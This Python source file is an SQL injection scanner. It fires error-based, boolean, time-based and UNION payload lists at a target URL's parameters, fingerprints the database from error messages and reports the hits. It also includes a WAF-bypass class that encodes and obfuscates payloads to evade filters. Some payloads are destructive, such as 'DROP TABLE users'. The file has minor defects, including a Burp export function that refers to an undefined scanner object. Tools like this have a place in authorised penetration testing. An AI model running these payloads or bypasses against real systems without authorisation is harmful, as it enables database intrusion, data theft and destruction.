#!/usr/bin/env python3
"""
Advanced SQL Injection Scanner
Author: Gaurav Singh
"""

import requests
import time
import re
import threading
from urllib.parse import urlencode, quote
import random
import json

class SQLInjectionScanner:
    def __init__(self, target_url, headers=None, proxies=None):
        self.target_url = target_url
        self.session = requests.Session()
        self.headers = headers or {}
        self.proxies = proxies
        self.vulnerabilities = []
        
        # Setup session
        self.session.headers.update(self.headers)
        if proxies:
            self.session.proxies.update(proxies)
            
        # Payload collections
        self.error_payloads = self.load_error_payloads()
        self.boolean_payloads = self.load_boolean_payloads()
        self.time_payloads = self.load_time_payloads()
        self.union_payloads = self.load_union_payloads()
        
        # Database fingerprinting patterns
        self.db_patterns = {
            'mysql': [
                r'mysql_fetch_array\(\)',
                r'You have an error in your SQL syntax',
                r'Warning.*mysql_.*',
                r'MySQL server version for the right syntax'
            ],
            'postgresql': [
                r'PostgreSQL.*ERROR',
                r'Warning.*\Wpg_.*',
                r'valid PostgreSQL result',
                r'Npgsql\.'
            ],
            'mssql': [
                r'Driver.* SQL[\-\_\ ]*Server',
                r'OLE DB.* SQL Server',
                r'\bSQL Server.*Driver',
                r'Warning.*mssql_.*'
            ],
            'oracle': [
                r'\bORA-[0-9]{4,5}',
                r'Oracle.* Driver',
                r'Warning.*\Woci_.*',
                r'Warning.*\Wora_.*'
            ]
        }
    
    def load_error_payloads(self):
        """Load error-based SQL injection payloads"""
        return [
            "'",
            "\"",
            "')",
            "\")",
            "';",
            "\";",
            "' OR '1'='1",
            "\" OR \"1\"=\"1",
            "' OR '1'='1' --",
            "\" OR \"1\"=\"1\" --",
            "' OR 1=1 --",
            "\" OR 1=1 --",
            "') OR ('1'='1",
            "\") OR (\"1\"=\"1",
            "') OR ('1'='1' --",
            "\") OR (\"1\"=\"1\" --",
            "' UNION SELECT NULL --",
            "\" UNION SELECT NULL --",
            "'; DROP TABLE users; --",
            "\"; DROP TABLE users; --"
        ]
    
    def load_boolean_payloads(self):
        """Load boolean-based SQL injection payloads"""
        return [
            "' AND '1'='1",
            "' AND '1'='2",
            "\" AND \"1\"=\"1",
            "\" AND \"1\"=\"2",
            "' AND 1=1",
            "' AND 1=2",
            "\" AND 1=1",
            "\" AND 1=2",
            "') AND ('1'='1",
            "') AND ('1'='2",
            "\") AND (\"1\"=\"1",
            "\") AND (\"1\"=\"2",
            "' AND SUBSTRING(@@version,1,1)='5",
            "' AND ASCII(SUBSTRING(@@version,1,1))>52",
            "' AND (SELECT COUNT(*) FROM information_schema.tables)>0",
            "' AND (SELECT COUNT(*) FROM information_schema.tables)>100000"
        ]
    
    def load_time_payloads(self):
        """Load time-based SQL injection payloads"""
        return {
            'mysql': [
                "' AND SLEEP(5) --",
                "' OR SLEEP(5) --",
                "'; WAITFOR DELAY '00:00:05' --",
                "' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --"
            ],
            'postgresql': [
                "'; SELECT pg_sleep(5) --",
                "' AND (SELECT * FROM (SELECT(pg_sleep(5)))a) --",
                "'; SELECT pg_sleep(5); --"
            ],
            'mssql': [
                "'; WAITFOR DELAY '00:00:05' --",
                "' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
                "'; WAITFOR TIME '00:00:05' --"
            ],
            'oracle': [
                "'; DBMS_LOCK.SLEEP(5); --",
                "' AND (SELECT * FROM (SELECT(DBMS_LOCK.SLEEP(5)))a) --"
            ]
        }
    
    def load_union_payloads(self):
        """Load UNION-based SQL injection payloads"""
        union_payloads = []
        for i in range(1, 21):  # Test up to 20 columns
            null_columns = ",".join(["NULL"] * i)
            union_payloads.extend([
                f"' UNION SELECT {null_columns} --",
                f"\" UNION SELECT {null_columns} --",
                f"') UNION SELECT {null_columns} --",
                f"\") UNION SELECT {null_columns} --"
            ])
        return union_payloads
    
    def test_parameter(self, param_name, param_value, method='GET', data=None):
        """Test a specific parameter for SQL injection"""
        print(f"[*] Testing parameter: {param_name}")
        
        # Test error-based injection
        error_vuln = self.test_error_based(param_name, param_value, method, data)
        if error_vuln:
            self.vulnerabilities.append(error_vuln)
        
        # Test boolean-based injection
        boolean_vuln = self.test_boolean_based(param_name, param_value, method, data)
        if boolean_vuln:
            self.vulnerabilities.append(boolean_vuln)
        
        # Test time-based injection
        time_vuln = self.test_time_based(param_name, param_value, method, data)
        if time_vuln:
            self.vulnerabilities.append(time_vuln)
        
        # Test UNION-based injection
        union_vuln = self.test_union_based(param_name, param_value, method, data)
        if union_vuln:
            self.vulnerabilities.append(union_vuln)
    
    def test_error_based(self, param_name, param_value, method='GET', data=None):
        """Test for error-based SQL injection"""
        for payload in self.error_payloads:
            test_value = param_value + payload
            
            response = self.send_request(param_name, test_value, method, data)
            if response and self.detect_sql_error(response.text):
                db_type = self.fingerprint_database(response.text)
                
                return {
                    'type': 'Error-based SQL Injection',
                    'parameter': param_name,
                    'payload': payload,
                    'database': db_type,
                    'response_length': len(response.text),
                    'status_code': response.status_code
                }
        return None
    
    def test_boolean_based(self, param_name, param_value, method='GET', data=None):
        """Test for boolean-based SQL injection"""
        # Get baseline response
        baseline = self.send_request(param_name, param_value, method, data)
        if not baseline:
            return None
        
        baseline_length = len(baseline.text)
        
        for i in range(0, len(self.boolean_payloads), 2):
            # Test true condition
            true_payload = self.boolean_payloads[i]
            true_response = self.send_request(param_name, param_value + true_payload, method, data)
            
            # Test false condition
            false_payload = self.boolean_payloads[i + 1] if i + 1 < len(self.boolean_payloads) else self.boolean_payloads[i]
            false_response = self.send_request(param_name, param_value + false_payload, method, data)
            
            if true_response and false_response:
                true_length = len(true_response.text)
                false_length = len(false_response.text)
                
                # Check for significant differences
                if abs(true_length - false_length) > 100 or true_response.status_code != false_response.status_code:
                    return {
                        'type': 'Boolean-based SQL Injection',
                        'parameter': param_name,
                        'true_payload': true_payload,
                        'false_payload': false_payload,
                        'true_length': true_length,
                        'false_length': false_length
                    }
        return None
    
    def test_time_based(self, param_name, param_value, method='GET', data=None):
        """Test for time-based SQL injection"""
        # Try different database-specific payloads
        for db_type, payloads in self.time_payloads.items():
            for payload in payloads:
                start_time = time.time()
                response = self.send_request(param_name, param_value + payload, method, data)
                end_time = time.time()
                
                response_time = end_time - start_time
                
                if response_time > 4:  # Expecting ~5 second delay
                    return {
                        'type': 'Time-based SQL Injection',
                        'parameter': param_name,
                        'payload': payload,
                        'response_time': response_time,
                        'database': db_type
                    }
        return None
    
    def test_union_based(self, param_name, param_value, method='GET', data=None):
        """Test for UNION-based SQL injection"""
        for payload in self.union_payloads:
            response = self.send_request(param_name, param_value + payload, method, data)
            
            if response and not self.detect_sql_error(response.text):
                # Check if response is significantly different from baseline
                baseline = self.send_request(param_name, param_value, method, data)
                if baseline and abs(len(response.text) - len(baseline.text)) > 200:
                    return {
                        'type': 'UNION-based SQL Injection',
                        'parameter': param_name,
                        'payload': payload,
                        'response_length': len(response.text),
                        'baseline_length': len(baseline.text)
                    }
        return None
    
    def send_request(self, param_name, param_value, method='GET', data=None):
        """Send HTTP request with payload"""
        try:
            if method.upper() == 'GET':
                # URL encode the parameter
                encoded_value = quote(param_value)
                url = f"{self.target_url}?{param_name}={encoded_value}"
                response = self.session.get(url, timeout=10)
            else:
                # POST request
                post_data = data.copy() if data else {}
                post_data[param_name] = param_value
                response = self.session.post(self.target_url, data=post_data, timeout=10)
            
            return response
            
        except requests.exceptions.RequestException as e:
            print(f"Request error: {e}")
            return None
    
    def detect_sql_error(self, response_text):
        """Detect SQL errors in response"""
        error_patterns = [
            r'SQL syntax.*MySQL',
            r'Warning.*mysql_',
            r'MySQLSyntaxErrorException',
            r'valid MySQL result',
            r'PostgreSQL.*ERROR',
            r'Warning.*\Wpg_',
            r'valid PostgreSQL result',
            r'Driver.* SQL[\-\_\ ]*Server',
            r'OLE DB.* SQL Server',
            r'\[SQL Server\]',
            r'\[Microsoft\]\[ODBC SQL Server Driver\]',
            r'\[SQLServer JDBC Driver\]',
            r'\bORA-[0-9]{4,5}',
            r'Oracle error',
            r'Oracle.*Driver',
            r'Warning.*\Woci_',
            r'Warning.*\Wora_'
        ]
        
        for pattern in error_patterns:
            if re.search(pattern, response_text, re.IGNORECASE):
                return True
        return False
    
    def fingerprint_database(self, response_text):
        """Identify database type from error messages"""
        for db_type, patterns in self.db_patterns.items():
            for pattern in patterns:
                if re.search(pattern, response_text, re.IGNORECASE):
                    return db_type
        return 'Unknown'
    
    def generate_report(self):
        """Generate vulnerability report"""
        if not self.vulnerabilities:
            return "No SQL injection vulnerabilities found."
        
        report = {
            'target': self.target_url,
            'scan_date': time.strftime('%Y-%m-%d %H:%M:%S'),
            'total_vulnerabilities': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities
        }
        
        return json.dumps(report, indent=2)

def main():
    import argparse
    
    parser = argparse.ArgumentParser(description="Advanced SQL Injection Scanner")
    parser.add_argument("url", help="Target URL to scan")
    parser.add_argument("--params", help="Parameters to test (comma-separated)")
    parser.add_argument("--method", default="GET", choices=["GET", "POST"], help="HTTP method")
    parser.add_argument("--data", help="POST data (for POST requests)")
    parser.add_argument("--headers", help="Custom headers (JSON format)")
    parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--output", help="Output file for results")
    
    args = parser.parse_args()
    
    # Parse headers
    headers = {}
    if args.headers:
        try:
            headers = json.loads(args.headers)
        except json.JSONDecodeError:
            print("Error: Invalid JSON format for headers")
            return
    
    # Parse proxy
    proxies = {}
    if args.proxy:
        proxies = {'http': args.proxy, 'https': args.proxy}
    
    # Initialize scanner
    scanner = SQLInjectionScanner(args.url, headers, proxies)
    
    print(f"[+] Starting SQL injection scan on: {args.url}")
    
    # Parse parameters to test
    if args.params:
        params = args.params.split(',')
    else:
        # Auto-detect parameters from URL
        from urllib.parse import urlparse, parse_qs
        parsed = urlparse(args.url)
        params = list(parse_qs(parsed.query).keys())
    
    if not params:
        print("[-] No parameters found to test")
        return
    
    # Test each parameter
    for param in params:
        scanner.test_parameter(param.strip(), '', args.method, 
                             json.loads(args.data) if args.data else None)
    
    # Generate report
    report = scanner.generate_report()
    
    if args.output:
        with open(args.output, 'w') as f:
            f.write(report)
        print(f"[+] Report saved to: {args.output}")
    else:
        print(report)
    
    print(f"\n[+] Scan completed. Found {len(scanner.vulnerabilities)} vulnerabilities.")

if __name__ == "__main__":
    main()

class WAFBypass:
    def __init__(self):
        self.bypass_techniques = {
            'case_variation': self.case_variation,
            'comment_insertion': self.comment_insertion,
            'encoding': self.encoding_bypass,
            'whitespace_manipulation': self.whitespace_bypass
        }
    
    def case_variation(self, payload):
        """Vary case to bypass case-sensitive filters"""
        variations = []
        variations.append(payload.upper())
        variations.append(payload.lower())
        variations.append(''.join(c.upper() if i % 2 == 0 else c.lower() 
                                for i, c in enumerate(payload)))
        return variations
    
    def comment_insertion(self, payload):
        """Insert SQL comments to break up keywords"""
        keywords = ['SELECT', 'UNION', 'WHERE', 'FROM', 'AND', 'OR']
        bypassed = payload
        for keyword in keywords:
            bypassed = bypassed.replace(keyword, f'{keyword}/*comment*/')
        return [bypassed]
    
    def encoding_bypass(self, payload):
        """Apply various encoding techniques"""
        import urllib.parse
        encodings = []
        
        # URL encoding
        encodings.append(urllib.parse.quote(payload))
        
        # Double URL encoding
        encodings.append(urllib.parse.quote(urllib.parse.quote(payload)))
        
        # Hex encoding
        hex_encoded = ''.join([f'%{ord(c):02x}' for c in payload])
        encodings.append(hex_encoded)
        
        return encodings
    
    def whitespace_bypass(self, payload):
        """Replace spaces with alternative whitespace characters"""
        alternatives = ['\t', '\n', '\r', '\f', '\v', '/**/']
        bypassed = []
        
        for alt in alternatives:
            bypassed.append(payload.replace(' ', alt))
        
        return bypassed

def burp_integration():
    """Export results to Burp Suite format"""
    burp_issues = []
    
    for vuln in scanner.vulnerabilities:
        issue = {
            "url": scanner.target_url,
            "name": vuln['type'],
            "severity": "High",
            "confidence": "Certain",
            "issue_background": "SQL injection vulnerability detected",
            "issue_detail": f"Parameter '{vuln['parameter']}' is vulnerable to {vuln['type']}",
            "remediation_detail": "Use parameterized queries and input validation"
        }
        burp_issues.append(issue)
    
    return burp_issues